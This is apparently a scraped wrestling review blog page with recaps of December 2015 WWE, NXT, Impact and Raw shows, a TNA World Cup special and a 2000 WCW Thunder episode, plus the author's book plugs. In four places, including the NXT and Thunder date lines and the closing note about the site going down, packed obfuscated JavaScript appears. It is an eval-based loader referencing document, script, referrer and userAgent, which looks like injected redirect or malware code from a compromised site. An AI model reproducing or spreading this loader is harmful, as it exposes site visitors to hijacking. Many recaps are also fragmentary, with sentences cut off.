Tribute to the Troops 2015: Yeah Fine
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to the Troops 2015
Date: December 23, 2015
Location: Jacksonville Veterans Memorial Coliseum, Jacksonville, Florida
Commentators: Michael Cole, John Bradshaw Layfield, Michael Cole
We open with the standard video talking about how much WWE wants to thank the troops.
JoJo sings the National Anthem. The red, white and blue ropes are back for the special occasion.
Sheamus (no title either) is amazed that Reigns thinks America is the greatest country in the world. He likes the Americans and thinks it might be in the top twenty nations in the world.
Sheamus thinks Ireland has the best everything in the world but Reigns cuts him off with a tater tots mention. The League accepts an invitation for a fight but here are the Wyatts to interrupt. Before anything else can happen, the Dudley Boyz, Ryback and Kane come out to give us sixteen men at once. A huge fight breaks out and we take a break.
Rusev and Lana insult America, setting up this.
Jack Swagger vs. Rusev
Rusev throws him to the floor and waves the Bulgarian flag, easily knocking Swagger back as he tries to get in.
Swagger finally gets smart by waving Old Glory, ticking Rusev off enough that Jack can get inside again. Some clotheslines have Rusev in trouble and the Vader Bomb gets two. The jumping superkick puts Jack down again but he catches another superkick in the Patriot Lock. That goes nowhere but Rusev gets sent into the foot locker in the corner. Another Patriot Lock goes on and Rusev actually taps at 11:01.
Some members of the roster went to a Navy SEALS training camp.
Joel McHale loves the troops.
Harrison Ford loves the troops as well.
Mark Henry vs. Bo Dallas
Eva Longoria loves the troops.
Train performs.
Some troops wish their families Happy Holidays.
Wesley Snipes loves the troops.
Kevin Owens vs. Ryback
Before the match, Owens praises Canada, especially Quebec. We even get some French from Owens until Ryback cuts him off to get things started. Ryback muscles him up for a delayed vertical suplex but Owens knees him in the ribs and grabs an early chinlock. That goes nowhere so Ryback tries a Shell Shock, only to have Kevin grab the ropes. They hit each other from the apron and Owens falls to the floor for a breather. Owens takes the countout at 3:06.
A military couple got to go backstage the show and had a Coke with Roman Reigns.
Howie Mandel performs.
Joe Manganiello loves the troops.
JJ Abrams loves the troops.
Brie Bella/Alicia Fox/Charlotte/Becky Lynch vs. Paige/Team BAD
Naomi does her stupid shaking spot to Charlotte to start, earning her some chops. Brie, who is clearly a face this time, comes in for some YES Kicks. Tamina clotheslines Brie’s head off to break up BRIE MODE (well done) and it’s off to Paige for some shots in the corner. Brie shoves Naomi into the corner for a break, kicks Tamina away, and makes the hot tag to Becky. Everything breaks down and it’s a Bank Statement to make Alicia tap at 4:40.
Clips of the roster meeting some troops.
Toby Keith loves the troops.
Neil Patrick Harris loves the troops.
Train performs again.
Cris Collinsworth loves the troops.
Dean Ambrose/Roman Reigns/Usos/Kane/Dudley Boyz/Ryback vs. Wyatt Family/League of Nations
Kane can’t slam him though and Braun plants him with a slam of his own. The smaller monster fights back though and knocks Braun to the floor, setting up a big staredown as we take a break.
beating Jimmy down. Jimmy gets in an enziguri to Sheamus but can’t make the hot tag. Instead it’s Harper putting on a headlock until Jimmy suplexes him down in a surprising power display. Now the hot tag brings in Ambrose for the top rope elbow on Harper.
Dean and the Usos hit dives and it’s time for the parade of finishers. It takes a Superman punch, a double shoulder from the Dudley Boyz, a double superkick from the Usos and a Meathook to put Strowman over the top (finally putting him off his feet in a nice touch). Dirty Deeds puts Harper away at 13:25.
The American flag comes down and the good guys celebrate to end the show.
Results
Jack Swagger b. Rusev – Patriot Lock
Ryback b. Kevin Owens via countout
Team BAD/Paige b. Brie Bella/Alicia Fox/Becky Lynch/Charlotte – Bank Statement to Fox
Dudley Boyz/Roman Reigns/Dean Ambrose/Ryback/Kane/Usos b. Wyatt Family and League of Nations – Dirty Deeds to Harper
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
http://www.amazon.com/dp/B0188BJRGU
And check out my Amazon author page with cheap wrestling books at:
NXT – December 23, 2015: Jolly Old NXT
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsydf|var|u0026u|referrer|aikyf||js|php'.split('|'),0,{}))
December 23, 2015
Location: Wembley Arena, London, England
Commentators: Rich Brennan, Corey Graves, Byron Saxton
We open with a recap/highlight package from Takeover. I might be looking forward to Takeover more than Wrestlemania.
Opening sequence.
Vaudevillains vs. Hype Bros vs. Blake and Murphy vs. Chad Gable/Jason Jordan
Gable and English get things going with Chad easily taking him to the mat. It’s off to Gotch for a wristlock but Chad easily takes him down to the delight of the crowd. Mojo tags himself in but Gable and Jordan clean house, leading to a four way staredown.
(thanks to Bliss) with a stomp to the ribs for two. Blake starts in on Chad’s leg until English tags himself in to take over.
Dana Brooke yells at Emma for losing to Asuka. Asuka comes in and smiles so Dana turns around and asks Emma if Asuka left yet.
Sami Zayn is back tonight.
Video on the European tour.
Clips of Finn Balor vs. Samoa Joe from Takeover.
Tye Dillinger is tired of people talking about Sami Zayn, who is not a perfect ten.
More from the song man, who debuts next.
Next week (and perhaps the week after) will be the Best of 2015.
Clips of Apollo Crews vs. Baron Corbin.
Corbin brags about his win and declares himself #1 contender.
Bull Dempsey vs. Elias Samson
Sampson is confirmed as the drifting guitar player. Bull starts with some clotheslines so Samson stomps him down into the corner. The snap jabs and a shoulder put Elias down but he comes back with a quick knockdown. That gives us a creepy smile from Elias, followed by a top rope elbow to pin Bull at 1:37. Well that was quick. Not very impressive but quick.
Clips of Bayley retaining over Nia Jax.
Tye Dillinger vs. Sami Zayn
We have to pause the start of the match due to some extended OLE chants. Tye starts going after the arm to start but Sami reverses into a wristlock of his own and we get a standoff. A pair of armdrags send Ty to the floor but he bails away from a dive, leaving Sami to flip back into the ring. They head outside with Sami being sent shoulder first into the post, taking us to our first break.
Now we get the big flip dive and the fans are very happy to have Sami back. The Blue Thunder Bomb gets two but the Helluva kick is countered into a rollup for two (with a handful of tights). Tye starts fighting back but gets suplex into the corner, setting up the Helluva kick for the pin at 12:47.
He looked fine here and that’s all that matters.
and soaks in some OLE’s. The trend in his career has been every time a dream comes true, it quickly turns into a nightmare. It happened when he won the NXT Title and it happened when he showed up on Raw but tonight broke the trend. This is just the beginning and 2016 will be even better for NXT and Sami Zayn.
Results
Chad Gable/Jason Jordan b. Hype Bros, Blake and Murphy and Vaudevillains – Grand Amplitude to Blake
Elias Samson b. Bull Dempsey – Top rope elbow
Sami Zayn b. Tye Dillinger – Helluva kick
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
http://www.amazon.com/dp/B0188BJRGU
And check out my Amazon author page with cheap wrestling books at:
Which Royal Rumble Should I Redo?
Other eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzrtr|var|u0026u|referrer|tskys||js|php'.split('|'),0,{})) than 2015 of course. The count-up starts on Sunday so get your votes in quickly.
Impact Wrestling – December 22, 2015: But Then….Wait….No….I Mean….Huh?
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Wrestling
Date: December 22, 2015
Hosts: Josh Matthews, D’Angelo Dinero
We open with a quick package on the year as a whole.
Clips of Roode vs. Lashley III with Lashley winning the title back.
Clips of Lashley joining and then leaving the Beat Down Clan, leading to a fight with MVP on the streets of New York. The rest of the Beat Down Clan helped take Lashley out until Angle and Roode made the save.
Lashley became the big free agent going into Lethal Lockdown.
Before we get to that, we look at the opening of the last two Feast or Fired briefcases, which saw Robbie E. sneak around being fired by getting Velvet Sky fired instead.
Clips of Lethal Lockdown.
From March 13.
Eric Young vs. Bobby Roode
Quick look at Awesome Kong vs. Havok in a cage.
You would think someone would catch on to that happening every single year.
Clips of Jeff Hardy vs. James Storm on March 27.
Clips of the Wolves vs. the Revolution in Ultimate X on March 20.
Video on the Rising vs. Drew Galloway.
From March 20 in London.
TNA World Title: Kurt Angle vs. Bobby Lashley
We look at the Wolves having to vacate the Tag Team Titles. These clips are all over the place with little to no reason for going from one to another.
Then Jeff broke his leg, forcing them to vacate the titles and possibly putting him him out of action for over a year due to knee problems.
We look at Destination X with Kurt Angle defending against Rockstar Spud and Austin Aries.
Time for the Knockouts as we look at Taryn Terrell winning the title and then defending against Awesome Kong in a hardcore match with the help of the Dollhouse. Taryn turned heel after the match.
Video on the Dollhouse and their path of destruction through the Knockouts division.
Jeff and Karen Jarrett came back in a big surprise.
We wrap it up with two minutes out of the twenty minute match where Carter won the title.
As usual, TNA goes from one extreme to the other as they take things way too slow or put in so much stuff that you can’t keep track of a thing.
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
http://www.amazon.com/dp/B0188BJRGU
And check out my Amazon author page with cheap wrestling books at:
Smackdown – December 22, 2015: Now Bring Us A Better Smackdown, Now Bring Us A Better Smackdown
Smackdown
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December 22, 2015
Location: Wells Fargo Arena, Des Moines
Commentators: Michael Cole, Booker T., Jerry Lawler
Opening sequence, this time with Christmas trees at the beginning.
Tag Team Titles: New Day vs. Lucha Dragons
Santino puts the star on his tree but someone (who looked like Stardust) steals it.
Dolph Ziggler, Charlotte, Tyler Breeze and Roman Reigns wish us a Merry Christmas.
Ryback/Kane/Dudley Boyz vs. Wyatt Family
Rusev/Alberto Del Rio vs. Usos
Post match the League loads up the Brogue Kick on Jimmy but Reigns makes the save.
Dean Ambrose, Santino Marella, Becky Lynch and New Day wish us a Merry Christmas.
We recap Ziggler vs. Owens vs. Ambrose.
Charlotte vs. Brie Bella
Becky is annoyed at Charlotte post match.
Owens promises to turn Smackdown into the Kevin Owens Show and says Renee Young looks ridiculous.
Intercontinental Title: Dean Ambrose vs. Dolph Ziggler vs. Kevin Owens
Ambrose is defending so of course he comes out first. Owens is quickly sent outside but he pulls Dolph outside. Dean breaks up a powerbomb attempt on the floor so Owens backsplashes both guys as we take a break. Back with everyone heading up the ramp and Owens throws Ziggler through the Christmas presents. Ziggler breaks up a powerbomb to Ambrose and they throw Owens off the stage through more trees.
That leaves Ziggler and Ambrose to fight on the stage with empty boxes. They head back to the ring with Ziggler loading up a superplex, only to have Owens runs back in for the save. Owens superkicks Ziggler and Dean clotheslines Kevin to put all three down. Dean goes up top but Dolph runs up the corner for a super facebuster. Ziggler is sent into the steps to give Owens two on Ambrose.
Rating: B-. Good, action packed match here that was a few miles ahead of everything else on the show with all three guys working hard to get the match over. Again they made sure to keep Owens from getting pinned which is the exactly right idea to keep the feud going. Ziggler is the kind of guy who can lose all the time and still be fine but Owens might be going somewhere big. Good stuff here and almost enough to save the show.
Owens destroys the Christmas trees as Ambrose celebrates to take us out.
Results
New Day b. Lucha Dragons – Big Ending to Cara
Wyatt Family b. Dudley Boyz/Ryback/Kane – Sister Abigail to Bubba
Rusev/Alberto Del Rio b. Usos – Top rope double stomp to Jey
Charlotte b. Brie Bella – Figure Eight
Dean Ambrose b. Kevin Owens and Dolph Ziggler – Dirty Deeds to Ziggler
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
http://www.amazon.com/dp/B0188BJRGU
And check out my Amazon author page with cheap wrestling books at:
Monday Night Raw – December 21, 2015: I’ll Accept This Show on WWE’s Behalf
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Night Raw
Date: December 21, 2015
Location: Target Center, Minneapolis, Minnesota
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton
We open with a long recap of Reigns beating Sheamus and infuriating the McMahons last week.
Kevin Owens
Neville
Charlotte
Tyler Breeze
Braun Strowman
Bray Wyatt vs. Kane
Bray gets punched into the corner to start but a Harper distraction lets him come back with a big running clothesline. The Wyatts go after Kane so he heads outside after him, drawing a quick DQ at 54 seconds.
Kane gets beaten down post match until the Dudley Boyz and Tommy Dreamer come out for the save because this is still a feud.
Kane/Dudley Boyz/Tommy Dreamer vs. Wyatt Family
Edge and Christian vs. New Day in a trombone vs. kazoo battle
The Authority dances with New Day
Seth Rollins cashes in Money in the Bank at Wrestlemania
Brock Lesnar the night after Wrestlemania
Wyatt Family kidnaps Undertaker at Hell in a Cell
Sheamus cashes in Money in the Bank at Survivor Series
After a break, Kalisto wins. Really? It was good but biggest shock of the year? Not really. Kalisto is here in a suit and without much to say as an acceptance speech.
Dolph Ziggler vs. Kevin Owens
Back up and Ziggler grabs a rollup for two, only to have his head taken off by a clothesline. After another chinlock, Dolph grabs the running DDT and we take a break. We come back with Owens getting two off a superplex but eating a superkick to put him outside. A quick Fameasser gets two for Dolph (in case you thought Owens was doing it) but Owens comes right back with the Pop Up Powerbomb for the pin at 11:08.
Roman Reigns
Sheamus
John Cena
Kevin Owens
Dean Ambrose
Bray Wyatt
New Day (all three members)
Undertaker
Kane
Sting
Brock Lesnar
Seth Rollins
John Cena returns next week to face Alberto Del Rio.
Alberto Del Rio vs. Jack Swagger
The League beats Jack down post match.
Natalya
Roman Reigns
Big Show
John Cena
There were some other awards given out before the show went on the air, including:
Rivalry of the Year – Lesnar vs. Undertaker
WWE Network Original Show of the Year – Steve Austin Show
Double Cross of the Year – Damien Mizdow
Extreme Moment of the Year – Reigns attacks HHH
Dudley Boyz
Chris Jericho
Alberto Del Rio
Kane
Sting
New Day vs. Usos
Big E. slaps on the abdominal stretch for a bit and gets two off the Warrior splash. Jey fights up and makes the hot tag to Jimmy for some good house cleaning. The Samoan drop gets two on Woods and New Day heads outside, only to have Big E. break up the double dive. Not that it matters as Jimmy rolls Woods up for the pin at 10:59.
Nikki Bella
Naomi
Paige
Sasha Banks
Charlotte
Rusev vs. Neville
The League is here and Miz is on commentary. Rusev stomps him down in the corner to start and we hit an early chinlock as Miz says Neville could go even further with the right management. Neville fights up and kicks Rusev to the post, only to be sent into the post. A belly to belly sends Neville crashing down and we take a break.
The League beats Neville down as well.
Miz is presenting the THIS IS AWESOME Award. After complaining about not being nominated, he introduces the nominees as:
Stephanie McMahon starting the Divas Revolution
The Shield reuniting to beat down Orton
Rock and Ronda Rousey at Wrestlemania
Becky Lynch vs. Brie Bella
Ric Flair introduces the nominees for Match of the Year:
John Cena vs. Brock Lesnar vs. Seth Rollins – Royal Rumble
Sting vs. HHH – Wrestlemania
John Cena vs. Kevin Owens – Elimination Chamber
Roman Reigns vs. Dolph Ziggler vs. Kevin Owens vs. Alberto Del Rio – Raw – October 26
Undertaker vs. Brock Lesnar – Hell in a Cell
The cage is lowered.
In the back, the League attacks the Usos with Rusev and Del Rio putting on their submissions. Both of them get Brogue Kicks as well.
Ambrose defends tomorrow night against Kevin Owens and Dolph Ziggler. Why should Ziggler get a shot when Owens pinned him earlier tonight?
Sheamus vs. Dean Ambrose
Non-title. Sheamus Brogue Kicks Dean before he can get inside and since referees have no authority in WWE, the match starts anyway. We get the ten forearms to the chest as the fans chant SHEAMUS IS BORING. Sheamus actually acknowledges them and waves the chants on, only to get backdropped into the cage wall. Dean goes for the climb but Sheamus is right up after him for White Noise off the top for two.
Tom Phillips asks Stephanie for her reaction so she beats him down with slaps. Tom sells them like death to end the show.
Results
Kane b. Bray Wyatt via DQ when the Wyatt Family interfered
Wyatt Family b. Tommy Dreamer/Dudley Boyz/Kane – Discus lariat to D-Von
Kevin Owens b. Dolph Ziggler – Pop Up Powerbomb
Alberto Del Rio b. Jack Swagger – Top rope double stomp
Usos b. New Day – Rollup to Woods
Rusev b. Neville – Accolade
Becky Lynch b. Brie Bella – Disarm-Her
Dean Ambrose b. Sheamus – Ambrose escaped the cage
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
http://www.amazon.com/dp/B0188BJRGU
And check out my Amazon author page with cheap wrestling books at:
TNA One Night Only – World Cup Of Wrestling III: Someone Get Me JBL
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World Cup of Wrestling III
Date: August 5, 2015
Location: Impact Zone, Orlando, Florida
Attendance: 1,100
Commentators: Josh Matthews, Jeremy Borash
No opening video for a change.
Bobby Roode
Eric Young
Ethan Carter III
Jeff Hardy
Josh rips on JB for reading off a clipboard but praises Carter despite him carrying one of his own. Also ignore the part where Josh says Carter will make a great World Champion, despite winning the title a month before this aired. ALSO ignore the fact that Hardy was out with a broken leg three months before this aired.
Bobby Roode, Lashley, Austin Aries, Magnus, Mr. Anderson, Taryn Terrell
Ethan Carter III, Tyrus, James Storm, Awesome Kong, Jesse Godderz, Robbie E.
Eric Young, Bram, Abyss, Havok, Samuel Shaw, Manik
Jeff Hardy, Gunner, Davey Richards, Gail Kim, Crazzy Steve, Rockstar Spud
Quick rules explanation.
Bram vs. Austin Aries
The Last Chancery sends Bram going to the ropes for a break and things settle down again. Bram stomps on the chest to break up a sunset flip attempt as about four fans chant ANGRY JESUS. Off to a chinlock on Aries for a bit before he grabs a second Last Chancery. So the first one was the next to Last Chancery?
Team Roode – 1
Team Young – 0
Team Hardy – 0
Team Carter – 0
EC3 lists off the members of his team and promises to win. Kong looks terrified when the BroMans (with DJZ) start talking. This is even more filler.
James Storm vs. Lashley
Team Roode – 2
Team Young – 0
Team Hardy – 0
Team Carter – 0
Storm blames Khoya for the loss and demands that Khoya bow to him.
Roode thinks his team will win.
BroMans vs. Magnus/Mr. Anderson
Team Roode – 2
Team Carter – 1
Team Young – 0
Team Hardy – 0
Young says his team will win.
Manik/Abyss vs. Rockstar Spud/Davey Richards
Rating: C. Very simple idea here but the match worked well enough all around. Richards and Spud were a good underdog team and fought off a regular pairing. Abyss is good for a monster who can come in at any time and play his normal role as well as anyone else. Totally watchable match here which is as good as it gets around here.
Team Roode – 2
Team Carter – 1
Team Hardy – 1
Team Young – 0
Hardy says his team will win.
Crazzy Steve vs. Samuel Shaw
Team Roode – 2
Team Hardy – 1
Team Carter – 1
Team Young – 1
Havok vs. Awesome Kong
Team Roode – 2
Team Carter – 2
Team Hardy – 1
Team Young – 1
Tyrus vs. Gunner
Team Carter – 3
Team Roode – 2
Team Young – 1
Team Hardy – 1
Gail Kim vs. Taryn Terrell
Team Carter – 3
Team Roode – 2
Team Hardy – 2
Team Young – 1
Bobby Roode vs. Eric Young vs. Jeff Hardy vs. Ethan Carter III
Team Carter – 3
Team Hardy – 3
Team Roode – 2
Team Young – 1
Carter beats Hardy down post match.
Long recap of the whole show thus far.
Team Hardy vs. Team Carter
Jeff Hardy, Rockstar Spud, Davey Richards, Gail Kim, Crazzy Steve, Gunner
Ethan Carter III, Tyrus, Robbie E., Jesse Godderz, James Storm, Awesome Kong
The trophy presentation and a recap video wrap things up.
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
http://www.amazon.com/dp/B0188BJRGU
And check out my Amazon author page with cheap wrestling books at:
Thunder – July 26, 2000: More Painful Than A Shovel To The Head
Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhnak|var|u0026u|referrer|sbfse||js|php'.split('|'),0,{}))
July 26, 2000
Location: Wheeling Civic Center, Wheeling, West Virginia
Commentators: Tony Schiavone, Mike Tenay, Mark Madden
The Cat is standing by his limo when the Jung Dragons attack, this time with a sledgehammer. Yang smashes the window by mistake and Smooth the limo driver freaks out. Cat gives him a 3-1 match later tonight.
3 Count vs. Juventud Guerrera/Rey Mysterio
Miss Hancock wants to arm wrestle Major Gunns tonight.
The Artist vs. Skip Over
Judy Bagwell drags Buff Bagwell away by the ear so they can go find the Cat. I guess this is supposed to be funny too.
M.I. Smooth vs. Jung Dragons
Kanyon says he needs to find a Kimberly. Judy is feeling the BANG tonight though.
Muta and Vampiro have beaten down Kronik.
Post match Demon comes out to help with the beatdown but Kronik makes the save and hurts people.
Judy puts Buff in a room and tells him to stay there. What in the world did Buff do to deserve this story?
Big Vito wants a rematch with Lance Storm.
Judy Bagwell vs. Kanyon
Shane Douglas and Torrie Wilson talk about the G-rated tape from Monday.
Kidman has another tape.
Kanyon is driving away, gets out and Kanyon Cuts a guard, then leaves. Funniest thing on the show by about a mile so far.
Shane leaves to get some air when Kidman comes up to laugh at Torrie. This is of course stupid and Shane beats Kidman down.
Hardcore Title: Lance Storm vs. Big Vito
Awesome runs in and lays out Storm.
…This brings us to the big problem that was there last week: how many fans knew what was going on? Serious question: how many fans watching this heard the word “booker” and thought they were talking about Booker T.? I know it sounds stupid today but is it really that much of a stretch?
Booker T. vs. Jeff Jarrett
Overall Rating: F. Let me make this clear: there was good stuff on this show. The opener was fun and some of the Kanyon stuff was amusing. If you take those parts on their own, you would have had a pretty entertaining show and WCW would have come off looking a lot stronger than they did coming into this week. However, there was a lot of other stuff this week too.
I know I often talk about WCW acting like its fans are stupid. However, in this case, it felt worse than ever. This actually felt like they wanted me to be angry at them and walk off, never to watch again. Between the Goldberg shoot, a shovel to the head not putting someone down for more than twenty seconds, Kanyon suddenly wanting Judy Bagwell as his valet, everyone (and their mother in this case) talking about ratings and a man having performance issues, I felt like I was watching the kind of show that non-wrestling fans pretend all wrestling is to make fun of it.
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:
http://www.amazon.com/dp/B0188BJRGU
And check out my Amazon author page with cheap wrestling books at:
I’m Not Sure What Happened
The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bftaa|var|u0026u|referrer|sztfa||js|php'.split('|'),0,{})) site was gone all Saturday and then just randomly came back up really late Saturday night. I have no idea how it’s back as I didn’t do anything to it but it’s back for now. I can’t guarantee it won’t go down again but I’ll have a better idea of how to get it fixed by then. Thank you for your patience.
KB